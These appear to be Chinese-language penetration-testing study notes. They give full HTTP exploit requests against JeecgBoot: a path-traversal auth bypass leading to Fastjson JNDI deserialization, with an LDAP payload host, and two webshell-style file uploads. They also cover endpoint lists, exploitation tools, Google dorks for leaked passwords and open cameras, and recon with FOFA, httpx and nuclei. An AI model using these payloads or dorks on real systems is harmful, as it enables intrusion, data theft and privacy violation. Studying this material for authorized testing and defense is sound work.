这个漏洞的核心大概是接口接收用户提交的数据之后后端使用存在风险的Fastjson版本（Fastjson 1.2.31）处理数据，导致触发不安全的反序列化，在反序列化过程中触发JNDI lookup，接下来服务端访问攻击者控制的远程地址导致加载恶意对象或触发恶意逻辑，最终实现远程代码执行

这个漏洞经常和路径绕过问题一起出现，在JEECG 4.0及以前版本中，/api接口鉴权时没有正确过滤路径遍历，可以构造包含../的URL绕过鉴权，然后访问jeecgFormDemoController.do?interfaceTest

所以实际上在原本接口可能需要权限的条件下，/api鉴权逻辑可能存在路径处理问题，接下来我们就可以通过../绕过访问控制访问interfaceTest接口提交恶意反序列化数据，从而触发JDNI代码执行

# payload
POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

serverUrl=http://xxxxxxxx:8877/jeecg.txt&requestBody=1&requestMethod=GET

创建如下远程文件，其内容为fastjson代码执行的payload

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.66.64.89:1389/8orsiq",
"autoCommit":true
}
}

# jeecg-boot/jmreport/upload接口存在未授权任意文件上传

CVE-2023-34660：属于JimuReport积木报表模块中的文件上传接口安全问题，本质上属于报表设计器里的上传接口没有做好访问控制和文件类型校验，导致可以上传非预期类型文件从而造成存储型XSS，常见接口是jeccg-boot/jmreport/upload

它原本是给报表设计器上传图片或资源文件使用，可通过“报表设计器->新建报表->插入图片”触发上传流程，重点影响JeecgBoot 3.5.0/3.5.1

# payload
POST /jeecg-boot/jmreport/upload HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfyhSCMs9cajzFD4
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 1476

------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="file"; filename="11111.txt"
Content-Type: text/html

<%! 1111>
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="fileName"

11111.txt
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="biz"

excel_online
------WebKitFormBoundaryyfyhSCMs9cajzFD4--

# Jeecg-commonController.do文件上传

CVE-2022-2647：Jeecg/JeecgBoot中某些版本的commonController.do上传处理接口缺少严格鉴权和文件类型限制，可能通过构造上传请求写入非预期文件，严重时可造成RCE，常见的被提到的入口为/commonController.do?parserXml，部分资料中会结合路径绕过写成/api/../commonController.do?parserXml

该接口的正常业务逻辑可以理解为前端上传文件之后，commonController.do接收multipart//form-data，后端解析文件内容或保存文件之后返回上传结果

同样，问题的核心在于/api接口鉴权时没有过滤路径遍历，导致可以构造包含../的URL绕过鉴权，再利用commonController接口进行文件上传

# payload
POST /jeecg-boot/api/../commonController.do?parserXml HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Length: 360
User-Agent: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Connection: close

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; "name="name"

zW9YCa.png
------WebKitFormBoundarygcflwtei
ontent-Disposition: form-data; name="documentTitle"

blank
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="zW9YCa.jsp"
Content-Type: image/png

11111
------WebKitFormBoundarygcflwtei--

# 常见的jeecg-boot接口与常见的jeecg-boot漏洞利用工具

在文章https://www.freebuf.com/articles/web/436956.html的结尾，这位老师还给出了一些常见的jeecg-boot接口和常见的jeecg-boot漏洞利用工具

# jeecg-boot接口

/v2/api-docs
/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/
/jeecg-boot/sys/user/querySysUser?username=admin
/jeecg/
/api/sys/
/sys/user
/v2/api-docs
/swagger-ui.html
/env
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace
/druid/index.html
/druid/sql.html
/druid/weburi.html
/druid/websession.html
/druid/weburi.json
/druid/websession.json
/druid/login.html
/api/config/list
/sys/user/list
/sys/user/add
/sys/user/edit
/sys/user/queryById
/sys/user/changePassword
/sys/role/list
/sys/role/add
/sys/role/edit
/sys/role/queryPermission
/v2/api-docs
/v1/api-docs
/api-docs
/sys/menu/list
/sys/menu/add
/sys/menu/edit
/sys/menu/delete
/sys/depart/list
/sys/depart/add
/sys/depart/edit
/sys/depart/delete
/online/cgform/list
/online/cgform/add
/online/cgform/edit
/online/cgform/delete
/online/cgform/fields/{tableName}
/online/cgform/table/list
/online/cgform/table/sync
/online/cgform/generateCode
/sys/dict/list
/sys/dict/add
/sys/dict/edit
/sys/dict/delete
/act/process/list
/act/process/deploy
/act/task/list
/act/task/complete
/act/task/history
/sys/common/upload
/sys/common/download/{fileId}
/sys/common/view/{fileId}
/monitor/redis/info
/monitor/server/info
/api/test/demo/list
/api/test/demo/add
/sys/log/list
/sys/log/delete
/sys/sms/send
/sys/sms/list
/api/test/demo/edit
/api/test/demo/delete
/report/loadReport/{code}
/chart/api/getChartData
/api/test/demo/queryById
/act/process/delete
/sys/dict/loadDictItems/{dictCode}
/jeecg-boot/sys/getLoginQrcode
/jeecg-boot/sys/getQrcodeToken
/jeecg-boot/sys/login
/jeecg-boot/sys/phoneLogin
/jeecg-boot/sys/scanLoginQrcode
/jeecg-boot/drag/onlDragDataSource/add
/jeecg-boot/drag/onlDragDataSource/delete
/jeecg-boot/drag/onlDragDataSource/deleteBatch
/jeecg-boot/drag/onlDragDataSource/edit
/jeecg-boot/drag/onlDragDataSource/list
/jeecg-boot/drag/onlDragDataSource/queryById
/jeecg-boot/drag/onlDragDatasetHead/add
/jeecg-boot/drag/onlDragDatasetHead/addGroup
/jeecg-boot/drag/onlDragDatasetHead/delDragDataSetHeadGroup
/jeecg-boot/drag/onlDragDatasetHead/delete
/jeecg-boot/drag/onlDragDatasetHead/edit
/jeecg-boot/drag/onlDragDatasetHead/queryById
/jeecg-boot/drag/onlDragDatasetHead/updateGroup
/jeecg-boot/drag/onlDragDatasetParam/add
/jeecg-boot/drag/onlDragDatasetParam/delete
/jeecg-boot/druid/login.html
/jeecg-boot/drag/onlDragDatasetParam/deleteBatch
/jeecg-boot/drag/onlDragDatasetParam/edit
/jeecg-boot/actuator/httptrace
/jeecg-boot/drag/onlDragDatasetParam/list
/jeecg-boot/drag/onlDragDatasetParam/queryById
/jeecg-boot/drag/websocket/sendData
/jeecg-boot/sys/checkRule/add
/jeecg-boot/sys/checkRule/checkByCode
/jeecg-boot/sys/checkRule/delete
/jeecg-boot/sys/checkRule/deleteBatch
/jeecg-boot/sys/checkRule/edit
/jeecg-boot/sys/checkRule/list
/jeecg-boot/sys/checkRule/queryById
/jeecg-boot/sys/comment/add
/jeecg-boot/sys/comment/addFile
/jeecg-boot/sys/comment/addText
/jeecg-boot/sys/comment/delete
/jeecg-boot/sys/comment/deleteBatch
/jeecg-boot/sys/comment/deleteOne
/jeecg-boot/sys/comment/edit
/jeecg-boot/sys/comment/fileList
/jeecg-boot/sys/comment/list
/jeecg-boot/sys/comment/listByForm
/jeecg-boot/sys/comment/queryById
/jeecg-boot/sys/dataSource/add
/jeecg-boot/sys/dataSource/delete
/jeecg-boot/sys/dataSource/deleteBatch
/jeecg-boot/sys/dataSource/edit
/jeecg-boot/sys/dataSource/list
/jeecg-boot/sys/dataSource/queryById
/jeecg-boot/sys/dictItem/dictItemCheck
/jeecg-boot/sys/duplicate/check
/jeecg-boot/sys/files/add
/jeecg-boot/sys/files/delete
/jeecg-boot/sys/files/deleteBatch
/jeecg-boot/sys/files/edit
/jeecg-boot/sys/files/list
/jeecg-boot/sys/files/queryById
/jeecg-boot/sys/fillRule/add
/jeecg-boot/sys/fillRule/delete
/jeecg-boot/sys/fillRule/deleteBatch
/jeecg-boot/sys/fillRule/edit
/jeecg-boot/sys/fillRule/list
/jeecg-boot/sys/fillRule/queryById
/jeecg-boot/sys/formFile/add
/jeecg-boot/sys/formFile/delete
/jeecg-boot/sys/formFile/deleteBatch
/jeecg-boot/sys/formFile/edit
/jeecg-boot/sys/formFile/list
/jeecg-boot/sys/formFile/queryById
/jeecg-boot/sys/position/add
/jeecg-boot/sys/position/delete
/jeecg-boot/sys/position/deleteBatch
/jeecg-boot/sys/position/edit
/jeecg-boot/sys/position/list
/jeecg-boot/sys/position/queryByCode
/jeecg-boot/sys/position/queryById
/jeecg-boot/sys/quartzJob/pause
/jeecg-boot/sys/quartzJob/resume
/jeecg-boot/sys/randomImage/
/jeecg-boot/sys/sysDepartPermission/add
/jeecg-boot/sys/sysDepartPermission/delete
/jeecg-boot/sys/sysDepartPermission/deleteBatch
/jeecg-boot/sys/sysDepartPermission/edit
/jeecg-boot/sys/sysDepartPermission/list
/jeecg-boot/sys/sysDepartPermission/queryById
/jeecg-boot/sys/sysDepartRole/add
/jeecg-boot/sys/sysDepartRole/delete
/jeecg-boot/sys/sysDepartRole/deleteBatch
/jeecg-boot/sys/sysDepartRole/edit
/jeecg-boot/sys/sysDepartRole/list
/jeecg-boot/sys/sysDepartRole/queryById
/jeecg-boot/sys/sysRoleIndex/add
/jeecg-boot/sys/sysRoleIndex/delete
/jeecg-boot/sys/sysRoleIndex/deleteBatch
/jeecg-boot/sys/sysRoleIndex/edit
/jeecg-boot/sys/sysRoleIndex/list
/jeecg-boot/sys/sysRoleIndex/queryByCode
/jeecg-boot/sys/sysRoleIndex/queryById
/jeecg-boot/test/dynamic/test1
/jeecg-boot/test/jeecgDemo/add
/jeecg-boot/test/jeecgDemo/delete
/jeecg-boot/test/jeecgDemo/deleteBatch
/jeecg-boot/test/jeecgDemo/edit
/jeecg-boot/test/jeecgDemo/list
/jeecg-boot/test/jeecgDemo/queryById
/sys/user/delete
/jeecg-boot/sys/user/addSysUserRole
/sys/role/delete
/user/register

# 漏洞利用工具

https://github.com/Framework-vulnerability-tool/jeecg

工具介绍
jeecg综合漏洞利用工具,程序采用javafx开发,环境JDK 1.8 声明：仅用于授权测试，用户滥用造成的一切后果和作者无关 请遵守法律法规！ 漏洞收录如下：
jeecg-boot queryFieldBySql远程命令执行漏洞
jeecg-boot testConnection远程命令执行漏洞
JeecgBoot jmreport/loadTableData SSTI模板注入漏洞
jeecg-boot-queryTableData-sqli注入漏洞
jeecg-boot-getDictItemsByTable-sqli注入漏洞
Jeecg-Boot qurestSql-SQL注入漏洞
jeecg-boot commonController 任意文件上传漏洞
jeecg-boot jmreport任意文件上传漏洞
jeecg-boot-querySysUser信息泄露漏洞
jeecg-boot-checkOnlyUser信息泄露漏洞
jeecg-boot-httptrace信息泄露漏洞
jeecg-boot-任意文件下载漏洞
jeecg-boot-jeecgFormDemoController漏洞
jeecg-boot-v2 P3 Biz Chat任意文件读取漏洞
jeecg-boot-v2 sys/duplicate/check注入漏洞
jeecg-boot-v2 AviatorScript表达式注入漏洞

https://github.com/ssrsec/JeecgBoot-offline-brute

有sqli的端点，但是无法rce以及进一步获得权限，我们可以尝试通过sqli获取凭据从而获得用户级权限

数据库中password字段是加密的，通过查看源码发现密码使用PBE进行加密，关键是用明文密码作为对称加密key的一个环节，所以没办法直接逆向解密，但是可以离线爆破。

信息搜集

2026-04-23T06:50:00.000Z

# 信息搜集

# Google Hacking

Google Hacking（也常被称为Google Dorking）是一种利用搜索引擎（特别是Google）的高级搜索操作符来发现隐藏在公共互联网上的敏感信息、漏洞或配置错误的攻击或信息收集技术。

# 高级搜索操作符

参考：https://zhuanlan.zhihu.com/p/400365865

# site

用于限制搜索范围，只在特定的域名或网站内进行搜索

site:example.com
#只在example.com及其子域名下搜索

# filetype和exp

用于指定文件类型，只搜索具有特定扩展名的文件

site:baidu.com filetype:pdf
site:baidu.com ext:pdf
#表示查找在baidu.com站点上文件类型为pdf的网页

# intitle和allintitle

用于限制网页标题，只搜索网页标题中带有特定词语的页面

intitle:百度
#只返回标题中包含百度的网页

这里需要提一下intile和allintitle的区别：

intitle:百度 登录
#表示搜索标题中包含百度的网页，网页的任意位置必须包含"登录"
allintitle:百度 登录
#表示网页的标题中必须同时包含"百度"和"登录"两个词

allintitle:A B相当于intitle:A intitle:B

# inurl和allinurl

用于限制URL路径，搜索URL网址中包含特定字符串的页面

inurl:login
#表示搜索URL网址中包含login的网页

inurl和allinurl的区别与intitle和allintitle的区别一样，allinurl可以指定多个词

inurl:login admin
#表示网页的网址URL中必须包含login，网页的任意位置必须包含admin，admin作为全局搜索词
allinurl:login admin
#表示网页的网址URL中必须同时包含login和admin

allinurl:A B等价于inurl:A inurl:B

# intext和allintext

用于限制网页正文，搜索网页正文中包含特定词语的页面

intext:后台登录
#表示搜索网页正文中包含后台登录的网页

# link

搜索网页中包含指定URL链接的页面，也就是“找外链”或“反向链接”

link:baidu.com
#返回所有包含指向baidu.com的网页

Google为了防止SEO（搜索引擎优化）作弊，几年前已经逐渐废弃/削弱了这个指令的准确性，现在搜索出来的结果往往不全

用于查找相似/关联网站，搜索与指定网站内容相似或有业务关联的其他网站

related:cuit.edu.cn
#返回与cuit.edu.cn相似的页面，相似指的是网页的布局相似

# cache

用于查看网页历史缓存，不直接访问目标服务器，而是查看Google（爬虫）上一次抓取该网页时存下来的“网页快照”

cache:baidu.com
#让Google不去访问现在的百度服务器，而是直接展示Google数据库里保存的baidu.com首页的历史快照
cache:baidu.com login
#在刚刚打开的快照页面中自动寻找并高亮显示"login"这个词

# info

返回站点的指定信息

info:baidu.com
#将返回百度的一些信息

Google在2017年正式废弃了这个操作符，现在如果输入info:baidu.com通常只会重定向到普通URL的搜索结果

# define

返回某个词语的定义

define:Hacker
#将返回关于Hacker的定义

# phonebook

电话簿查询美国街道地址和电话号码信息。例如：phonebook:Lisa+CA 将返回名字里面包含Lisa并住在加州的人的所有名字

# 一些组合示例

filetype:env intext:"DB_PASSWORD"
#搜索包含了数据库密码的.env环境配置文件
site:target.com inurl:admin | inurl:login | inurl:wp-admin
#在目标网站下寻找后台入口，寻找后台管理登录页面
filetype:log inurl:error.log
#寻找暴露的日志文件
intitle:"index of" "backup"
#寻找目录遍历漏洞，寻找那些没有正确配置权限，导致整个备份文件夹可以被公开浏览的网站
inurl:"view.shtml" | inurl:"/view/index.shtml"
#寻找特定设备的网络摄像头，可以直接搜出很多没有设置密码、暴露在公网上的网络摄像头

#查找网站后台
site:http://xx.com intext:管理
site:http://xx.com inurl:login
site:http://xx.com intitle:后台

#查看服务器使用的程序
site:http://xx.com filetype:asp
site:http://xx.com filetype:php
site:http://xx.com filetype:jsp
site:http://xx.com filetype:aspx

#查看上传漏洞
site:http://xx.com inurl:file
site:http://xx.com inurl:load

# index of

index of语法通常写作intitle:index of，它专门用于寻找存在目录遍历漏洞的网站，当我们访问www.example.com/uploads时，服务区通常回去寻找这个目录下的默认主页文件（比如index.html或者index.php），但如果这个目录下没有默认主页文件或者管理员没有关闭”目录浏览“权限，那么访问之后就会列出这个文件夹里的所有文件和子文件夹，可以下载

#寻找数据库备份文件
intitle:"index of" ext:sql | ext:bak

#寻找网站源码压缩包
intitle:"index of" "backup.zip" | "wwwroot.rar"
#寻找员工内部资料或通讯录
intitle:"index of" "confidential" ext:pdf | ext:xls
#寻找摄像头录像或私人相册
intitle:"index of" "DCIM" | "CCTV"

在这些搜索参数中|都表示逻辑或，当搜索条件变复杂时也可以用()包裹

intitle:"index of" (ext:sql | ext:bak | ext:zip)
#寻找存在目录遍历的服务器，并且目录列表中必须包含sql或者bak或者zip

# 网络空间搜索引擎

网络空间搜索引擎包括FOFA、Shodan、ZoomEye、Hunter

利用网络空间搜索引擎进行搜索的技术也可以叫做网络空间测绘。网络空间搜索引擎的背后，是部署在全球各地的大量扫描节点，这些节点向全球所有的公开IP地址（主要是IVP4，现在也包括IVP6）和常见的端口（80,443,22,3306,3389等）发送探测数据包，当目标IP做出响应的时候，引擎会把返回的信息记录下来，这些信息包括但不仅限于HTTP响应头，网页HTML代码，SSL/TLS证书，服务协议指纹（比如SSH版本信息、MySQL握手协议，RDP远程桌面特征等）

# FOFA

https://fofa.info/

通过搜索zlaryy可以看到返回了https://zlaryy123.github.io以及它的一些信息

# 语法

点击上面的语法可以看到基础的查询语法是什么

逻辑连接符	具体含义
=	匹配，=""时，可查询不存在字段或者值为空的情况
==	完全匹配，==""时，可查询存在且值为空的情况。
&&	与
\|\|	或
!=	不匹配，!=""时，可查询值不为空的情况。
*=	模糊匹配，使用*或者?进行搜索。
()	确认查询优先级，括号内容优先级最高。

除此之外还有很多内容，就一一不列举了。

根域名/主域名查询：用于收集某个企业或组织名下的所有子域名资产，扩大攻击或防护的暴露面。
```
domain="example.com"
```
证书域名查询：当目标网站套了一层CDN（内容分发网络）或WAF隐藏了真实IP时，很多时候其服务器443端口绑定的SSL证书依然会暴露目标域名，通过反查证书，经常能绕过CDN找到真实IP。
```
cert="example.com"
#搜索证书中带有该域名的资产
```
应用指纹查询：寻找使用了特定组件、CMS、中间件或框架的网站，当某个组件爆发0day漏洞（比如Log4j、ThinkPHP、泛微OA），就可以利用指纹语法去全网测绘受影响的资产范围。
```
app="ThinkPHP"
app="泛微-协同办公OA"
```
站点Icon图标哈希查询：很多企业在部署内部系统（后台管理、VPN等）时，虽然域名不同甚至没有域名，但他们往往会使用同一个企业Logo（favicon.ico），通过计算这个图标的hash值，可以找出隐蔽的关联资产
```
icon_hash="-247388890"
```

其他引擎的相关语法：

根域名/主域名查询：

Hunter: domain.suffix="example.com"
ZoomEye: site:"example.com"
Quake: domain:"example.com"

证书域名查询：

Hunter: cert.subject="example.com" 或 cert.is_valid="true"（结合使用查找有效证书）
ZoomEye: ssl.cert.subject.cn:"example.com" 或简单的 ssl:"example.com"
Quake: cert:"example.com"

应用指纹查询：

Hunter: app.name="ThinkPHP"
ZoomEye: app:"ThinkPHP"
Quake: app:"ThinkPHP"

站点Icon图标哈希查询：

Hunter: web.icon=="hash值"
ZoomEye: iconhash:"-247388890"
Quake: favicon:"-247388890"

# 子域名收集

利用oneforall工具：

git clone https://gitee.com/shmilylty/OneForAll.git

cd OneForAll

python3 -m pip install -U pip setuptools wheel -i https://pypi.tuna.tsinghua.edu.cn/simple/ --proxy=""

python3 -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ --proxy=""

使用：

python3 oneforall.py --target example.com run

利用fofa进行搜集：

domain="example.com"

# 企业查询搜集

可以通过企查查、爱企查、风鸟、天眼查等工具进行公司资产体系的确定，确定之后重点看知识产权里面的主域名，小程序，APP，微信服务号公众号等内容

# 资产测活

通过企查查等搜集到的子域名通常包含大量无效资产，或许是域名已经废弃，不再解析到任何IP，或者服务器已经关机或下线，或者端口虽然开放，但没有运行任何web服务，或者存在内部防火墙外部无法访问......资产测活就是通过发送特定的网络探测请求，来验证这些资产中哪些是当前在线的、有响应的、并且运行这web服务的。

而资产测活用到的工具通常是httpx、dddd等工具

参考：https://www.cnblogs.com/hackernb/p/19692906

简单介绍一下httpx工具的安装（在安装httpx之前请先确保电脑上安装了go语言环境，1.21版本以上）：

git clone https://github.com/projectdiscovery/httpx.git
cd httpx
cd cmd/httpx
go env -w GOPROXY=https://goproxy.cn,direct
#配置Go国内镜像元
go build -o pd-httpx.exe
#为避免与python版本的httpx冲突，这里用-o进行重命名为pd-httpx.exe
pd-httpx.exe -h
#测试是否安装成功

# 常用命令

#探测单个目标
httpx -u https://example.com
#探测多个目标
httpx -u https://a.com https://b.com
#从文件读取目标
httpx -l targets.txt
#只输出存活结果
httpx -l targets.txt -silent
#显示状态码和标题
httpx -l targets.txt -sc -title

其他更详细的命令比如信息搜集，技术指纹，内容特征，过滤匹配可以看上面提到的参考文章

# 指纹识别

参考：https://blog.csdn.net/hmysn/article/details/124788105

通过关键特征，识别出目标的CMS系统、服务器、开发语言、操作系统、CDN、WAF的类别版本等等

其中主要识别以下的信息：
1、CMS信息：比如Discuz、织梦、帝国CMS、PHPCMS、ECshop等；
2、前端技术：比如HTML5、jquery、bootstrap 、Vue、ace等；
3、开发语言：比如PHP、Java、Ruby、Python、C#等；
4、Web服务器：比如Apache 、 Nginx、IIS、lighttpd等；
5、应用服务器：比如Tomcat、Jboss、Weblogic、Websphere等；
6、操作系统信息：比如Linux、win2k8、win7、Kali、Centos等；
7、CDN信息：是否使用CDN，如cloudflare、帝联、蓝讯、网宿、七牛云、阿里云等；
8、WAF信息：是否使用WAF，如D盾、云锁、宝塔、安全狗、360等

其中cms、cdn、waf的指纹识别比较重要。

# 指纹识别的几种手段

# HTTP响应头分析

Server：暴露了Web服务器类型及版本。例如Server: nginx/1.18.0或Server: Microsoft-IIS/10.0
X-Powered-By：暴露后端运行的开发语言或框架，例如X-Powered-By: PHP/7.4.3或X-Powered-By: Express
Set-Cookie：不同的开发语言或框架通常有特定名称的Session ID，PHPSESSID表示php，JSESSIONID表示Java（Tomcat，JBoss等），ASP.NET_SessionID表示ASP.NET

# 网页源码与内容特征匹配

Meta标签：很多CMS（内容管理系统）会自动生成带有标识的标签。例如<meta name="generator" content="WordPress 5.8>"
特定的HTML结构或注释，开发者有时候会在代码里留下固定的注释
特定的JavaScript变量或静态资源，比如页面加载了/wp-content/themes/路径下的资源，那就必然是WordPress，或者代码中出现了特定的全局变量名称

# 特定文件与路径探测

有时候主页没有得到什么线索，可能通过发送特定请求去试探

默认后台路径：访问/wp-login,php有响应就是WordPress，访问/seeyon/就是致远OA
特有文件：探测网站根目录下的robots.txt、、readme.html、changelog.txt，这些文件经常会泄露建站系统的详细版本号
报错页面特征：故意访问一个不存在的页面造成400或者发送畸形数据制造500，Tomcat、Spring Boot、Apache等都有自己非常独特且难以彻底修改的默认报错页面

# 哈希指纹对比

类似于提取数字DNA

Favicon Hash（网站图标哈希）：绝大多数的企业内部系统（如泛微OA、用友、各种路由器后台）都有默认的favicon.ico图标，可以通过将这个图标文件下载下来计算其特定的哈希值（通常是MurmurHash），然后与数据库进行比对
静态文件Hash：对比某些核心JS、CSS文件的MD5值，不仅能识别出框架，还能定位到具体版本

# 网络层与协议层面识别

当Web层的特征被WAF抹除时，可以通过下降到网络层进行探测。

TCP/IP堆栈指纹：Nmap扫描器通过-o参数就可以实现。不同的操作系统（Windows，Linux，FreeBSD）在处理TCP/IP协议栈时，其TTL初始值、TCP窗口大小、TCP选项的排列顺序等都有细微差别
JARM（TLS服务器指纹）：这是由Salesforce团队开发的一种主动式指纹识别工具，他通过发送不同配置的TLS/SSL握手请求，根据服务器返回的加密套件支持情况和响应模式，生成一个唯一的JARM哈希值，这对于识别隐藏在CDN后的真是服务器环境非常有效

# 脆弱资产

脆弱资产，指信息系统中存在能被威胁利用的薄弱环节，包括配置缺陷、漏洞、弱口令等。它是构成安全风险的核心要素，一旦被利用会损害资产的机密性、完整性和可用性。通常需要通过自动扫描、合规性检查识别，并根据重要性进行修补管理

# 常见的脆弱资产类型

未修复补丁的系统：运行着包含已知公开漏洞软件的服务器。例如：依然运行着存在“永恒之蓝”漏洞的旧版服务器
配置错误的暴露面：不应暴露在公网的高危端口（如3389远程桌面、445SMB、6379Redis）
权限设置错误的云存储桶（允许匿名读取甚至写入数据）
启用了目录遍历或开启了Debug模式的web服务器
弱凭证与默认口令：管理后台、数据库或网络设备使用了出厂默认密码（如admin/admin）或者容易被字典爆破出来的弱口令
影子IT与遗留系统：这是渗透测试中最常见的突破点。指的是那些被部门遗忘、脱离安全监控、无人维护的旧版系统或临时搭建的测试环境。他们通常缺乏最基本的安全防护
泄露的敏感信息：例如开发人员不小心上传到Github公开仓库的数据库密码，API Key或内部网络拓扑图

# 漏洞扫描工具

这里只提一下nuclei

参考：http://blog.csdn.net/qq_43531669/article/details/145693107

# 常用命令

nuclei -u http://example.com
#扫描单个目标
nuclei -l targets.txt
#扫描多个目标
nuclei -u http://example.com -t http/exposures/
#使用特定的模版或模版目录
nuclei -u http://example.com -t cves/ -t exposures/
#使用多个模版目录
nuclei -u http://example.com -t ssl\deprecated-tls.yaml
#指定单个模版进行测试
nuclei -u http://example.com -tags jira,generic
#扫描具有特定标签的模版
nuclei -u http://example.com -s critical,high,medium
#根据严重程度运行模版
nuclei -et http/fuzzing/
#排除特定模版或模版目录
nuclei -l targets.txt -rl 50 -c 10
#限速

-rl, -rate-limit int                  每秒最大请求量（默认：150）
-c, -concurrency int                  并行执行的最大模板数量（默认：25）
#参数解释

nuclei -u http://example.com -o results.txt
#输出到文件
nuclei -u http://example.com -me res 
#输出为md格式

-sresp      将nuclei的所有请求和响应输出到目录
-srd res    将nuclei的所有请求和响应输出到指定目录（默认：output）
#输出日志文件

nuclei -up
#更新Nuclei到最新版本
nuclei -ut
#更新nuclei模版到最新版
nuclei -l 1.txt -s critical,high,medium -me res 
#常用命令

# 漏洞扫描器yaml的poc基本结构

参考：https://www.anquanke.com/post/id/283289

YAML是一种数据序列化语言，通常用于编写配置文件。它的基本语法如下：

大小写敏感、使用缩进表示层级关系、缩进时不允许使用Tab键，只允许使用空格、缩进的空格数目不重要，只要相同层级的元素左侧对齐即可、#表示注释，从这个字符到行尾都会被解析器忽略

YAML支持的数据结构：

对象：键值对的集合，使用冒号结构表示

数组：一组按次序排列的值，又称为序列(sequence)/列表(list)，一组连词线开头的行，构成一个数组。如果数据结构的子成员是一个数组，则可以在该项下面缩进一个空格。

纯量(scalars)：单个的、不可再分的值，如字符串、整数、布尔值等。

漏洞扫描器YAML的这种poc主要由基础信息（id）、元数据（info）和请求与逻辑匹配（http/network/dns等）三大核心模块组成

最基础的HTTP漏洞检测（例如读取敏感文件）的完整YAML结构模版

id: poc-basic-structure-example  # 1. 唯一标识符

info:                            # 2. 元数据信息块
  name: Example Vulnerability Name
  author: your_name
  severity: high                 # 严重程度: info, low, medium, high, critical
  description: 详细描述这个漏洞的成因、影响范围等。
  reference:                     # 参考链接 (可选)
    - https://example.com/cve-202X-XXXX
  tags: cve,cve202x,lfi,config   # 标签，用于分类和批量过滤扫描

http:                            # 3. 请求与匹配逻辑块 (以前的版本叫 requests)
  - method: GET                  # 请求方法: GET, POST, PUT, DELETE 等
    path:
      - "<!--swig19-->/etc/passwd" # 请求路径，<!--swig20--> 是内置变量，代表目标地址

    matchers-condition: and      # 匹配器条件: and (必须全部满足), or (满足其一即可)
    
    matchers:                    # 4. 匹配器 (判断是否存在漏洞的核心)
      - type: word               # 关键字匹配
        part: body               # 在响应包的哪个部分匹配: body, header, all
        words:
          - "root:x:0:0:"        # 响应体中必须包含此字符串

      - type: status             # 状态码匹配
        status:
          - 200                  # 响应状态码必须为 200

id：模版的唯一ID，不能包含空格，通常使用小写字母和连字符

info：元数据块

name：漏洞或资产的名称

author：编写该模版的作者

serverity：定义漏洞评级

tags：扫描时经常通过-tags参数来过滤需要执行的模版集

http：定义了发包的行为，nuclei还支持network，dns，file（本地文件）等协议块

method：定义HTTP请求方法

path：定义请求的URL，这里通常会使用nuclei的内置变量，如{{BaseURL}}(目标完整的URL)、{{HostURL}}(目标的域名/IP)

headers/body(可选)：如果是POST请求，可以在这里自定义请求头和请求体

headers:
  Content-Type: application/json
body: '{"username":"admin", "password":"password"}'

matchers(匹配器)：判定漏洞是否存在，只有当发出请求的内容符合matchers中定义的规则时，才会判定漏洞存在。常用的匹配器类型：

word：匹配字符串（如报错信息，特定版本号）

regex：正则表达式匹配（如泄露的身份证号、Token）

status：HTTP状态码（如200/403）

size：响应包的大小匹配（适用于布尔盲注或响应长度固定的场景）

dsl：复杂的逻辑表达式匹配

binary：二进制数据匹配

matchers:
  # 对响应 headers 进行字符串匹配
  - type: word
    part: header
    words:
      - "ADMINCONSOLESESSION"

  # 对响应 body 进行字符串匹配，且要包含所有子串。
  - type: word
    part: body
    words:
      - 'uid='
      - 'gid='
      - 'groups='
    condition: and

  # 匹配 http 响应状态码
  - type: status
    status:
      - 200

exrtactors(提取器)：提取数据用到extractors，它与matchers平级

extractors:
      - type: regex            # 使用正则提取
        part: body
        name: extracted-token  # 提取内容的命名
        group: 1               # 提取正则中的第一个括号内容
        regex:
          - "Authorization: Bearer ([a-zA-Z0-9-._~+/]+)"

regwz：正则提取

kval：键值对，比如提取指定响应头

json：使用jq语法提取json数据

xpath：使用xpath提取html响应数据

dsl：使用表达式提取，不常用

extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

使用正则提取了 id 命令的执行结果

# 使用find something或者直接查看JS找到网站的接口和路由

# 路由

路由（Routing）是指在互联网络中，通过预定规则和算法，从源地址到目的地址选择最佳传输路径的过程。它工作在OSI模型的网络层，利用路由器、交换机等设备管理数据流量，避免网络拥塞。主要类型包括直连、静态和动态路由。

路由表：路由器内部维护的一张表，包含网络路径状态、距离和成本参数，用于决定下一跳的地址

路由类型：

直连路由：设备接口直接相连的网段，无需配置，自动生成
静态路由：管理员手动配置的固定路径，安全但灵活性差
动态路由：路由器通过协议（如OSPF、BGP）自动交换信息并更新路径，适用于复杂网络

GET /login 指向展示登录界面的代码
POST /login 指向验证账号密码的代码

# 接口

